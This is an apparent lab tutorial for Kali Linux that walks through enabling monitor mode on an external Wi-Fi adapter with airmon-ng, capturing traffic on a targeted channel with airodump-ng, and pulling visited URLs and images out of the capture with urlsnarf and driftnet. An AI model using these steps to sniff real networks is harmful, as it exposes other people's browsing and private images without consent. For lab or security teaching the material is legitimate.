Summary
Sniff Wi-Fi traffic using wireless interfaces supporting monitor mode and packet injection (*).
Requirements
- Operating system: Kali Linux 64 Bit
Description
Open a terminal.
Display your wireless interfaces:
iwconfig
Connect the external Wi-Fi adapter to your host computer.
iwconfig
The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.
Start monitor mode on the external adapter (**):
airmon-ng start wlan1
The previous command creates a new interface called 'wlan1mon'. Verify with:
iwconfig
Display active Wi-Fi networks:
airodump-ng wlan1mon
Remember the channel of the network you want to attack. In my case it was channel 11.
Set your adapter to the appropriate channel:
iwconfig wlan1mon channel 11
Verify the frequency:
iwconfig wlan1mon iwlist channel
Start capturing data:
airodump-ng --channel 11 -w alfa wlan1mon
Filter URLs from captured traffic:
urlsnarf -p alfa-01.cap
Filter pictures from captured traffic:
driftnet -f alfa-01.cap -a -d Pictures/
Disable monitor mode:
airmon-ng stop wlan1mon
(*) Test if the adapter supports injection:
aireplay-ng -9 wlan1mon
Detailed information about wireless adapters available in ELVIS can be found here.
(**) This command did not work with ALFA NETWORK AWUS036ACH and ALFA NETWORK AWUS036EAC. The following commands are an alternative way to start monitor mode on the adapter:
ifconfig wlan1 down iwconfig wlan1 mode monitor ifconfig wlan1 up
